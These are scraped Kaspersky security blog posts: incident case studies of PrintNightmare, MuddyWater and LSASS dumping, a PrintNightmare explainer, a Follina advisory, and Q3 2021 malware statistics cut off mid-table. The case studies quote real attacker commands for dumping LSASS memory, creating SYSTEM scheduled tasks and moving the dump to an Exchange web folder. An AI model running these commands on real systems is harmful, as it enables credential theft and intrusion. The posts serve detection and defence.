\nVHO:Trojan\u2011PSW.Win64.Mimikatz.gen \nTrojan-PSW.Win32.Mimikatz.gen | Attacker tried to use \nMimikatz \n**T1127.001: \n**Trusted Developer Utilities Proxy Execution: MSBuild | Outbound network connection | Process command line: \nC:\\Windows\\Microsoft.NET\\Framework\\v4 \n.0.30319\\MSBuild.exe C:\\Share\\1.xml | MSBuild network activity \n**T1210: \n**Exploitation of Remote Services | Local File Modification | Modified file path: \nC:\\Windows\\System32\\spool\\drivers\\x64 \n\\3\\old\\1\\hello5.dllFile modifier: \nC:\\Windows\\System32\\spoolsv.exe \nParent of the modifier: \nC:\\Windows\\System32\\services.exe | Legitimate \nspoolsv.exe locally \nmodified \nc:\\windows\\system3 \n2\\spool\\drivers\\x6 \n4\\3\\old\\1\\hello5.dll \n**T1547.012: \n**Boot or Logon Autostart Execution: Print Processors \n**T1033: \n**System Owner/User Discovery | Process start | Command line: whoami \nProcess integrity level: System \nParent process: \nC:\\WINDOWS\\System32\\spoolsv.exe \nGrandparent process: \nC:\\Windows\\System32\\services.exe | Legitimate \nspoolsv.exe started \nwhoami with System \nintegrity level \n**T1547.012:** \nBoot or Logon Autostart Execution: Print Processors | Outbound network connection | Process command line: \nC:\\Windows\\System32\\spoolsv.exe \nRemote TCP port: 4444/TCP | Legitimate \nspoolsv.exe made a \nconnection to default \nMeterpreter port \n(4444/TCP) \n**T1547.012:** \nBoot or Logon Autostart Execution: Print Processors \n**T1059.003:** \nCommand and Scripting Interpreter: Windows Command Shell \n**T1033:** \nSystem Owner/User Discovery | Process start | Command line: whoami \nProcess integrity level: System \nParent process: \nC:\\Windows\\System32\\cmd.exe \nGrandparent process: \nC:\\Windows\\System32\\spoolsv.exe | Legitimate \nspoolsv.exe started \ncmd.exe that started \nwhoami with System \nintegrity level \n \n## MuddyWater attack\n\nIn this case, the Kaspersky MDR team detected a request from the customer's infrastructure to a malicious APT related host. Further investigation allowed us to attribute this attack to the [MuddyWater group](<https://attack.mitre.org/groups/G0069/>). MuddyWater is a threat actor that first surfaced in 2017. This APT group mainly targets government agencies in Iraq, Saudi Arabia, Jordan, Turkey, Azerbaijan, and Pakistan. Kaspersky's report on this group's activity is available [here](<https://securelist.com/muddywaters-arsenal/90659/>).\n\nAmong other methods, the group uses VBS implants in phishing emails as an initial attack vector. During execution, the implant accesses URLs with a common structure to connect to the C2 server. The typical structure of the URL is provided below.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151840/MDR_interesting_cases_05.png>)\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14152658/MDR_interesting_cases_06.png>) | First of all, MDR analysts found a VBS implant from startup, presumably related to the MuddyWater group, to be running on the monitored host. | \\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\KLWB6.vbs \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | After script execution, some malicious resources were accessed. The structure of these URLs follows the common structure used by the MuddyWater group. In addition, the accessed IP address was observed in other attacks of this group. | hxxp://185[.]117[.]73[.]52:443/getTarget \nInfo?guid=xxx-yyy-zzz&status=1 \nhxxp://185[.]117[.]73[.]52:443/getComman \nd?guid=xxx-yyy-zzz* \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14153224/MDR_interesting_cases_07.png>) | Next, execution of commands to collect information from the compromised host was observed. | "C:\\Windows\\System32\\cmd.exe" /c \nexplorer.exe >> \nc:\\ProgramData\\app_setting_readme.txt "C:\\Windows\\System32\\cmd.exe" /c whoami >> c:\\ProgramData\\app_setting_readme.txt \n \n**_* xxx is company short name (identifier), yyy is the victim hostname and zzz is username_**\n\nTable below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1071: \n**Application Layer Protocol | Access to malicious hosts from nonbrowsers | Target URL: \nhxxp://185[.]117[.]73[.]52:443/getTargetInfo?guid \n=xxx-yyy-zzz&status=1 \nCMD line: \n"C:\\Windows\\System32\\WScript.exe" C:\\Users\\USERNAME\\AppData\\Roaming\\Microsoft\\Windo \nws\\Start Menu\\Programs\\Startup\\KLWB6.vbs \nProcess: \nC:\\Windows\\system32\\wscript.exe | VBS script accessed malicious URL during execution \n**T1071:** \nApplication Layer Protocol | URL exact detect | Malicious URL: \nhxxp://185[.]117[.]73[.]52:443/getTargetInfo?guid \n=xxx-yyy-zzz&status=1 \nAV verdict: \nMalware | Malicious URL was successfully detected by AV \n \n## Credential Dumping from LSASS Memory\n\nIn the last case, we'd like to talk about an attack related to collecting credentials from the LSASS process memory dump (T1003.001 MITRE technique). Local Security Authority Subsystem Service (LSASS) stores a variety of credentials in process memory. These credentials can be harvested by System or administrative user and then used for attack development or lateral movement.\n\nMDR analysts detected an attempt to dump the LSASS process memory on the monitored host, despite the fact that most of the attacker's actions did not differ from the usual actions of the administrator. The attackers used two public tools (the first one was detected and blocked by an AV solution) to dump the LSASS process memory and export the obtained dump via Exchange server. In particular, the MDR team observed the download and execution of a suspicious DLL file (categorized as SSP) by LSASS.exe.\n\n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151347/MDR_interesting_cases_04.png>) | The attacker executed several recon commands to get more information about the host, and then ran commands to get the LSASS process ID. | C:\\Windows\\System32\\tasklist.exe \nC:\\Windows\\System32\\findstr.exe /i sass \n---|---|--- \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14150937/MDR_interesting_cases_01.png>) | After that, the attacker tried to run a malicious tool to dump the process memory, but it was blocked by an endpoint protection solution. | "C:\\Windows\\System32\\rundll32.exe" \nC:\\Windows\\System32\\comsvcs.dll MiniDump 616 \nc:\\programdata\\cdera.bin full\n\n_## 616 is LSASS process id_ \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154017/MDR_interesting_cases_08.png>) | Then the attacker tried to dump the LSASS process memory using another tool. They unzipped an archive containing the _resource.exe_ and _twindump.dll_ files. | C:\\Windows\\System32\\cmd.exe /C c:\\"program files"\\7- \nzip\\7z.exe x -pKJERKL6j4dk&@1 c:\\programdata\\m.zip -o \nc:\\windows\\cluster\n\n## _resource.exe_ and _twindump.dll_ files were created \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14151142/MDR_interesting_cases_03.png>) | Subsequently, the file _resource.exe_ was added to the planned tasks and executed. However, the attempt to obtain an LSASS dump was unsuccessful. | C:\\Windows\\System32\\cmd.exe /C \nC:\\Windows\\System32\\staskes.exe /create /tn Ecoh /tr \n"cmd /c C:\\Windows\\cluster\\resource.exe \nase2af6das3fzc2 agasg2aa23gfdgd" /sc onstart /ru \nsystem /F\n\n## staskes.exe is a renamed schtasks.exe file \n \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154042/MDR_interesting_cases_09.png>) | Later, one more attempt to perform this technique was made. The attacker unpacked an archive containing another malicious utility, and ran it the same way as previously. The created files are presumably related to the [MirrorDump](<https://github.com/CCob/MirrorDump>) tool. As a result, the attacker successfully obtained an LSASS dump. | C:\\Windows\\System32\\cmd.exe /C c:\\"program files"\\7- \nzip\\7z.exe x -p"KJERfK#L6j4dk321\u2033 \nc:\\programdata\\E.zip -o c:\\programdata\\ \nC:\\Windows\\System32\\cmd.exe \n/C c:\\windows\\system32\\staskes.exe /create /tn Ecoh /tr \n"c:\\programdata\\InEnglish.exe g2@j5js1 0sdfs,48 \nC:\\programdata\\EnglishEDouble \nC:\\programdata\\EnglishDDouble \nC:\\programdata\\English1.dll \nC:\\programdata\\English.dmp" /sc onstart /ru system /F C:\\Windows\\System32\\cmd.exe /C c:\\windows\\system32\\staskes.exe /run /tn Ecoh \n[](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/12/14154059/MDR_interesting_cases_10.png>) | Then the obtained dump was exported to Exchange server. Afterwards, the attacker deleted all the created files. | C:\\Windows\\System32\\cmd.exe /C copy \nc:\\programdata\\Es.zip \nc:\\Program Files\\Microsoft\\Exchange Server\\V14\\ClientAccess\\owa\\auth\\Es.png \n \nTable below contains signs of suspicious activity that were the starting point for investigation.\n\n**MITRE ATT&CK Technique** | **MDR telemetry event type used** | **Detection details** | **Description** \n---|---|---|--- \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | AV exact detect | AV verdict: \nPDM:Exploit.Win32.GenericProcess command line: \n"C:\\Windows\\System32\\rundll32.exe" \nC:\\Windows\\System32\\comsvcs.dll MiniDump \n**616** C:\\programdata\\cdera.bin full \nParent process command line: \nC:\\Windows\\System32\\wsmprovhost.exe - \nEmbedding \nGrandparent process command line:: \nC:\\Windows\\System32\\svchost.exe -k \nDcomLaunchProcess logon type: 3 (Network logon) | Remotely executed \nprocess memory dump \nwas detected by AM \nengine \n**616** is LSASS process \nPID \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | Create section (load DLL) \nExecute section (run DLL) | DLL name: C:\\programdata\\english1.dll \nProcess: C:\\Windows\\System32\\lsass.exe \nProcess PID: **616** \nParent process: command line: C:\\Windows\\System32\\wininit.exe \nProcess integrity level: System | Unknown DLL was loaded and executed within lsass.exe \n**T1003.001:** \nOS Credential Dumping: LSASS Memory | Inexact AV detect | Internal AV verdict: The file is Security Support \nProvider (SSP) \nFile path: C:\\programdata\\english1.dll \nProcess: C:\\Windows\\System32\\lsass.exe | Unknown DLL loaded to lsass is SSP \n**T1053.005:** \nScheduled Task/Job: Scheduled Task | Create process | Process command line: \nC:\\programdata\\InEnglish.exe g2@j5js1 \n0sdfs,48 C:\\programdata\\EnglishEDouble C:\\programdata\\EnglishDDouble \n**C:\\programdata**\\English1.dll \nC:\\programdata\\English.dmp \nParent process command line: \ntaskeng.exe {7725474B-D9EA-473D-B10D- \nAC0572A0AA70} S-1-5-18:NT \nAUTHORITY\\System:Service: \nGrandparent process command line: \nC:\\Windows\\System32\\svchost.exe -k netsvcs \nProcess integrity level: System \nProcess user SID: S-1-5-18 | Suspicious executable from C:\\programdata run as scheduled task under _System_ privileges \n \nObserved malicious files:\n\nc:\\programdata\\e.zip | 0x37630451944A1DD027F5A9B643790B10 \n---|--- \nc:\\programdata\\es.zip | 0x3319BD8B628F8051506EE8FD4999C4C3 \nc:\\programdata\\m.zip | 0xC15D90F8374393DA2533BAF7359E31F9 \nc:\\programdata\\inenglish.exe | 0xCB15B1F707315FB61E667E0218F7784D \nc:\\programdata\\english1.dll | 0x358C5061B8DF0E0699E936A0F48EAFE1 \nc:\\windows\\cluster\\resource.exe | 0x872A776C523FC33888C410081A650070 \nc:\\windows\\cluster\\twindump.dll | 0xF980FD026610E4D0B31BAA5902785EDE \n \n## Conclusion\n\nAttackers follow trends. They use any loophole to break into your corporate network. Sometimes they learn about new vulnerabilities in products earlier than security researchers do. Sometimes they hide so skillfully that their actions are indistinguishable from those of your employees or administrators.\n\nCountering targeted attacks requires extensive experience as well as constant learning. Kaspersky Managed Detection and Response delivers fully managed, individually tailored ongoing detection, prioritization, investigation, and response. As a result, it provides all the major benefits from having your own security operations center without having to actually set one up.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-12-15T10:00:42", "type": "securelist", "title": "Kaspersky Managed Detection and Response: interesting cases", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-12-15T10:00:42", "id": "SECURELIST:830DE5B1B5EBB6AEE4B12EF66AD749F9", "href": "https://securelist.com/kaspersky-managed-detection-and-response-interesting-cases/105214/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:33:23", "description": "\n\n## Summary\n\nLast week Microsoft warned Windows users about vulnerabilities in the Windows Print Spooler service \u2013 CVE-2021-1675 and CVE-2021-34527 (also known as PrintNightmare). Both vulnerabilities can be used by an attacker with a regular user account to take control of a vulnerable server or client machine that runs the Windows Print Spooler service. This service is enabled by default on all Windows clients and servers, including domain controllers.\n\nKaspersky products protect against attacks leveraging these vulnerabilities. The following detection names are used:\n\n * HEUR:Exploit.Win32.CVE-2021-1675.*\n * HEUR:Exploit.Win32.CVE-2021-34527.*\n * HEUR:Exploit.MSIL.CVE-2021-34527.*\n * HEUR:Exploit.Script.CVE-2021-34527.*\n * HEUR:Trojan-Dropper.Win32.Pegazus.gen\n * PDM:Exploit.Win32.Generic\n * PDM:Trojan.Win32.Generic\n * Exploit.Win32.CVE-2021-1675.*\n * Exploit.Win64.CVE-2021-1675.*\n\nOur detection logic is also successfully blocks attack technique from the latest Mimikatz framework v. 2.2.0-20210707.\n\nWe are closely monitoring the situation and improving generic detection of these vulnerabilities using our [Behavior Detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and Exploit Prevention components. As part of our [Managed Detection and Response service](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) Kaspersky SOC experts are able to detect exploitation of these vulnerabilities, investigate such attacks and report to customers.\n\n## Technical details\n\n### CVE-2021-34527\n\nWhen using RPC protocols to add a new printer (_RpcAsyncAddPrinterDriver [MS-PAR] or RpcAddPrinterDriverEx [MS-RPRN]_) a client has to provide multiple parameters to the Print Spooler service:\n\n * _pDataFile_ - a path to a data file for this printer;\n * _pConfigFile_ - a path to a configuration file for this printer;\n * _pDriverPath_ - a path to a driver file that's used by this printer while it's working.\n\nThe service makes several checks to ensure _pDataFile_ and _pDriverPath_ are not UNC paths, but there is no corresponding check for pConfigFile, meaning the service will copy the configuration DLL to the folder _%SYSTEMROOT%\\system32\\spool\\drivers\\x64\\3\\_ (on x64 versions of the OS).\n\nNow, if the Windows Print Spooler service tries to add a printer again, but this time sets pDataFile to the copied DLL path (from the previous step), the print service will load this DLL because its path is not a UNC path, and the check will be successfully passed. These methods can be used by a low-privileged account, and the DLL is loaded by the _NT AUTHORITY\\SYSTEM group_ process.\n\n### CVE-2021-1675\n\nThe local version of PrintNightmare uses the same method for exploitation as CVE-2021-34527, but there's a difference in the entrypoint function (_AddPrinterDriverEx_). This means an attacker can place a malicious DLL in any locally accessible directory to run the exploit.\n\n## Mitigations\n\nKaspersky experts anticipate a growing number of exploitation attempts to gain access to resources inside corporate perimeters accompanied by a high risk of ransomware infection and data theft.\n\nTherefore, it is strongly recommended to follow Microsoft [guidelines](<https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-print-spooler>) and apply the latest security updates for Windows.\n\nQuoting Microsoft (as of July 7th, 2021): \n_"Due to the possibility for exposure, domain controllers and Active Directory admin systems need to have the Print spooler service disabled. The recommended way to do this is using a Group Policy Object (GPO). \nWhile this security assessment focuses on domain controllers, any server is potentially at risk to this type of attack."_", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-08T05:00:06", "type": "securelist", "title": "Quick look at CVE-2021-1675 & CVE-2021-34527 (aka PrintNightmare)", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-08T05:00:06", "id": "SECURELIST:0C07A61E6D92865F5B58728A60866991", "href": "https://securelist.com/quick-look-at-cve-2021-1675-cve-2021-34527-aka-printnightmare/103123/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-06-08T07:56:31", "description": "\n\nAt the end of May, researchers from the nao_sec team [reported](<https://twitter.com/nao_sec/status/1530196847679401984>) a new zero-day vulnerability in Microsoft Support Diagnostic Tool (MSDT) that can be exploited using Microsoft Office documents. It allowed attackers to remotely execute code on Windows systems, while the victim could not even open the document containing the exploit, or open it in Protected Mode. The vulnerability, which the researchers dubbed Follina, later received the identifier [CVE-2022-30190](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-30190>).\n\n## CVE-2022-30190 technical details\n\nBriefly, the exploitation of the CVE-2022-30190 vulnerability can be described as follows. The attacker creates an MS Office document with a link to an external malicious OLE object (_**word/_rels/document.xml.rels**_), such as an HTML file located on a remote server. The data used to describe the link is placed in the **** tag with attributes _**Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject", Target="http_malicious_link!"**_. The link in the **Target** attribute points to the above-mentioned HTML file, inside which a malicious script is written using a special URI scheme. \nWhen opened, the attacker-created document runs MSDT. The attacker can then pass, through a set of parameters, any command to this tool for execution on the victim's system with the privileges of the user who opened the document. What is more, the command can be passed even if the document is opened in Protected Mode and macros are disabled. \nAt the time of posting, two document formats were known to allow CVE-2022-30190 exploitation: Microsoft Word (.docx) and Rich Text Format (.rtf). The latter is more dangerous for the potential victim because it allows execution of a malicious command even without opening the document \u2014 just previewing it in Windows Explorer is enough.\n\n## Protecting against Follina\n\nKaspersky is aware of attempts to exploit the CVE-2022-30190 vulnerability through Microsoft Office documents. Our solutions protect against this using the [Behavior Detection](<https://www.kaspersky.com/enterprise-security/wiki-section/products/behavior-based-protection>) and [Exploit Prevention](<https://www.kaspersky.com/enterprise-security/wiki-section/products/exploit-prevention>) tools. \nThe following verdict names are possible:\n\n * PDM:Exploit.Win32.Generic \n * HEUR:Exploit.MSOffice.Agent.n\n * HEUR:Exploit.MSOffice.Agent.gen \n * HEUR:Exploit.MSOffice.CVE-2017-0199.a\n * HEUR:Exploit.MSOffice.CVE-2021-40444.a\n * HEUR:Exploit.MSOffice.Generic\n\n_Geography of Follina exploitation attempts with Exploit.MSOffice.CVE-2021-40444.a verdict, May 1 \u2013 June 3, 2022 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/08064948/01-en-cve-2022-30190.png>))_\n\nWe expect to see more Follina exploitation attempts to gain access to corporate resources, including for ransomware attacks and data breaches. Therefore, we continue to closely monitor the situation and improve overall vulnerability detection. In addition, as part of the [Managed Detection and Response](<https://www.kaspersky.com/enterprise-security/managed-detection-and-response>) service, our SOC experts can detect vulnerability exploitation, investigate attacks and provide clients with all necessary threat-related information. \nTo protect against Follina exploitation, we strongly advise that you follow Microsoft's own guidelines: [Guidance for CVE-2022-30190 Microsoft Support Diagnostic Tool Vulnerability](<https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/>). In particular, to prevent exploitation of this vulnerability, you can disable support for the MSDT URL protocol by taking these steps:\n\n 1. Run Command Prompt as Administrator.\n 2. To back up the registry key, execute the command "reg export HKEY_CLASSES_ROOT\\ms-msdt filename"\n 3. Execute the command "reg delete HKEY_CLASSES_ROOT\\ms-msdt /f".", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2022-06-06T08:00:02", "type": "securelist", "title": "CVE-2022-30190 (Follina) vulnerability in MSDT: description and counteraction", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-0199", "CVE-2021-40444", "CVE-2022-30190"], "modified": "2022-06-06T08:00:02", "id": "SECURELIST:29152837444B2A7E5A9B9FCB107DAB36", "href": "https://securelist.com/cve-2022-30190-follina-vulnerability-in-msdt-description-and-counteraction/106703/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-11-26T12:37:38", "description": "\n\n * [IT threat evolution Q3 2021](<https://securelist.com/it-threat-evolution-q3-2021/104876/>)\n * **IT threat evolution in Q3 2021. PC statistics**\n * [IT threat evolution in Q3 2021. Mobile statistics](<https://securelist.com/it-threat-evolution-in-q3-2021-mobile-statistics/105020/>)\n\n_These statistics are based on detection verdicts of Kaspersky products received from users who consented to providing statistical data._\n\n## Quarterly figures\n\nAccording to Kaspersky Security Network, in Q3 2021:\n\n * Kaspersky solutions blocked 1,098,968,315 attacks from online resources across the globe.\n * Web Anti-Virus recognized 289,196,912 unique URLs as malicious.\n * Attempts to run malware for stealing money from online bank accounts were stopped on the computers of 104,257 unique users.\n * Ransomware attacks were defeated on the computers of 108,323 unique users.\n * Our File Anti-Virus detected 62,577,326 unique malicious and potentially unwanted objects.\n\n## Financial threats\n\n### Financial threat statistics\n\nIn Q3 2021, Kaspersky solutions blocked the launch of at least one piece of banking malware on the computers of 104,257 unique users.\n\n_Number of unique users attacked by financial malware, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150303/01-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Geography of financial malware attacks**\n\n_To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products who faced this threat during the reporting period as a percentage of all users of our products in that country._\n\n_Geography of financial malware attacks, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150355/02-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries by share of attacked users**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Turkmenistan | 5.4 \n2 | Tajikistan | 3.7 \n3 | Afghanistan | 3.5 \n4 | Uzbekistan | 3.0 \n5 | Yemen | 1.9 \n6 | Kazakhstan | 1.6 \n7 | Paraguay | 1.6 \n8 | Sudan | 1.6 \n9 | Zimbabwe | 1.4 \n10 | Belarus | 1.1 \n \n_* Excluded are countries with relatively few Kaspersky product users (under 10,000)._ \n_** Unique users whose computers were targeted by financial malware as a percentage of all unique users of Kaspersky products in the country._\n\n**Top 10 banking malware families**\n\n| Name | Verdicts | %* \n---|---|---|--- \n1 | Zbot | Trojan.Win32.Zbot | 17.7 \n2 | SpyEye | Trojan-Spy.Win32.SpyEye | 17.5 \n3 | CliptoShuffler | Trojan-Banker.Win32.CliptoShuffler | 9.6 \n4 | Trickster | Trojan.Win32.Trickster | 4.5 \n5 | RTM | Trojan-Banker.Win32.RTM | 3.6 \n6 | Nimnul | Virus.Win32.Nimnul | 3.0 \n7 | Gozi | Trojan-Banker.Win32.Gozi | 2.7 \n8 | Danabot | Trojan-Banker.Win32.Danabot | 2.4 \n9 | Tinba | Trojan-Banker.Win32.Tinba | 1.5 \n10 | Cridex | Backdoor.Win32.Cridex | 1.3 \n \n_* Unique users who encountered this malware family as a percentage of all users attacked by financial malware._\n\nIn Q3, the family ZeuS/Zbot (17.7%), as usual, became the most widespread family of bankers. Next came the SpyEye (17.5%) family, whose share doubled from 8.8% in the previous quarter. The Top 3 was rounded out by the CliptoShuffler family (9.6%) \u2014 one position and just 0.3 p.p. down. The families Trojan-Banker.Win32.Gozi (2.7%) and Trojan-Banker.Win32.Tinba (1.5%) have made it back into the Top 10 in Q3 \u2014 seventh and ninth places, respectively.\n\n## Ransomware programs\n\n### Quarterly trends and highlights\n\n#### Attack on Kaseya and the REvil story\n\nIn early July, the group REvil/Sodinokibi [attempted an attack](<https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/>) on the remote administration software Kaseya VSA, compromising several managed services providers (MSP) who used this system. Thanks to this onslaught on the supply chain, the attackers were able to infect over one thousand of the compromised MSPs' client businesses. REvil's original $70 million ransom demand in exchange for decryption of all the users hit by the attack was soon moderated to 50 million.\n\nFollowing this massive attack, law enforcement agencies stepped up their attention to REvil, so by mid-July the gang turned off their Trojan infrastructure, suspended new infections and dropped out of sight. Meanwhile, Kaseya got a universal decryptor for all those affected by the attack. [According to](<https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-August-4th-2021>) Kaseya, it "did not pay a ransom \u2014 either directly or indirectly through a third party". Later [it emerged](<https://www.washingtonpost.com/national-security/ransomware-fbi-revil-decryption-key/2021/09/21/4a9417d0-f15f-11eb-a452-4da5fe48582d_story.html>) that the company got the decryptor and the key from the FBI.\n\nBut already in the first half of September, REvil was up and running again. [According to](<https://www.bleepingcomputer.com/news/security/revil-ransomware-is-back-in-full-attack-mode-and-leaking-data/>) the hacking forum XSS, the group's former public representative known as UNKN "disappeared", and the malware developers, failing to find him, waited awhile and restored the Trojan infrastructure from backups.\n\n#### The arrival of BlackMatter: DarkSide restored?\n\nAs we already wrote in our Q2 report, the group DarkSide folded its operations after their "too high-profile" attack on Colonial Pipeline. And now there is a "new" arrival known as BlackMatter, which, as its members [claim](<https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil>), represents the "best" of DarkSide, REvil and LockBit.\n\nFrom our analysis of the BlackMatter Trojan's executable we conclude that most likely it was built using DarkSide's source codes.\n\n#### Q3 closures\n\n * Europol and the Ukrainian police have [arrested](<https://www.europol.europa.eu/newsroom/news/ransomware-gang-arrested-in-ukraine-europol's-support>) two members of an unnamed ransomware gang. The only detail made known is that the ransom demands amounted to \u20ac5 to \u20ac70 million.\n * Following its attack on Washington DC's Metropolitan Police Department, the group Babuk folded (or just suspended) its operations and published an archive containing the Trojan's source code, build tools and keys for some of the victims.\n * At the end of August, Ragnarok (not to be confused with RagnarLocker) suddenly called it a day, deleted all their victims' info from their portal and published the master key for decryption. The group gave no reasons for this course of action.\n\n#### Exploitation of vulnerabilities and new attack methods\n\n * The group HelloKitty used to distribute its ransomware by exploiting the vulnerability CVE-2019-7481 in SonicWall gateways.\n * Magniber and Vice Society penetrated the target systems by exploiting the vulnerabilities from the PrintNightmare family (CVE-2021-1675, CVE-2021-34527, CVE-2021-36958).\n * The group LockFile exploited ProxyShell vulnerabilities (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207) to penetrate the victim's network; for lateral expansion they relied on the new PetitPotam attack that gained control of the domain controller.\n * The group Conti also used ProxyShell exploits for its attacks.\n\n### Number of new ransomware modifications\n\nIn Q3 2021, we detected 11 new ransomware families and 2,486 new modifications of this malware type.\n\n_Number of new ransomware modifications, Q3 2020 \u2014 Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150433/03-en-ru-es-malware-report-q3-2021-pc-graphs.png>))_\n\n## Number of users attacked by ransomware Trojans\n\nIn Q3 2021, Kaspersky products and technologies protected 108,323 users from ransomware attacks.\n\n_Number of unique users attacked by ransomware Trojans, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150459/04-en-malware-report-q3-2021-pc-graphs.png>))_\n\n## Geography of ransomware attacks\n\n_Geography of attacks by ransomware Trojans, Q3 2021 ([download](<https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2021/11/23150535/05-en-malware-report-q3-2021-pc-graphs.png>))_\n\n**Top 10 countries attacked by ransomware Trojans**\n\n| **Country*** | **%**** \n---|---|--- \n1 | Bangladesh | 1.98 \n2 | Uzbekistan | 0.59 \n3 | Bolivia | 0.55 \n4 | Pakistan | 0.52 \n5 | Myanmar | 0.51 \n6 | China | 0.51 \n7 | Mozambique | 0.51 \n8 | Nepal | 0.48 \n9 | Indonesia | 0.47 \n10 | Egypt | 0.45 \n \n_* Excluded are countries with relatively few Kaspersky users (under 50,000). \n** Unique users attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country._\n\n## Top 10 most common families of ransomware Trojans\n\n| **Name** | 